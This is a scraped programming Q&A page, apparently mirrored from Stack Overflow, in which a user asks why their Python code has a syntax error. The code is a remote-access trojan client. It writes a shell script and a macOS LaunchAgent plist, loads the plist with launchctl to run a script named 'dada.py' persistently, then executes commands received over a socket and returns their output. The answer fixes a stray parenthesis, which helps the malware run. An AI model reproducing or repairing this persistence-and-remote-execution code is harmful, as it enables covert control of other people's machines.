简体   繁体   中英

Problems with if - Python3

import socket
import subprocess
import os
p = os.path.dirname(os.path.abspath(__file__))
setsidrat = ("setsid python3 {p}\dada.py")
with open("systemfaster.sh", "w") as python_script_file:
    python_script_file.write(setsidrat)
l = f"""
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>com.example.exampled</string>
    <key>LaunchOnlyOnce</key>
        <true/>
    <key>ProgramArguments</key>
    <array>
        <string>/bin/bash</string>
        <string>{p}\systemfaster.sh</string>

    </array>
</dict>
</plist>')
"""
with open("com.example.exampld.plist", "w") as python_script_file:
    python_script_file.write(l)
os.system("launchctl load Library/LaunchAgents/com.example.exampld.plist")
SERVER_HOST = "127.0.0.1"
SERVER_PORT = 2323
BUFFER_SIZE = "1024"
# create the socket object
s = socket.socket()
# connect to the server
s.connect((SERVER_HOST, SERVER_PORT))
while True:
    # receive the command from the server
    command = int((s.recv(BUFFER_SIZE).decode())
    if command=="exit":
        break
    # execute the command and retrieve the results
    output = subprocess.getoutput(command)
    # send the results back to the server
    s.send(output.encode())
# close client connection
s.close()

This is server client that recives command and executes it but, python says there is syntax problem at 41 line with if , i cant solve this simple problem because idk what causes it. I also tryed deleting it and it printed syntax error for next line of code.

这部分代码int((s.recv(BUFFER_SIZE).decode())使用了一个额外的括号。试试这个int(s.recv(BUFFER_SIZE).decode())代替。

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM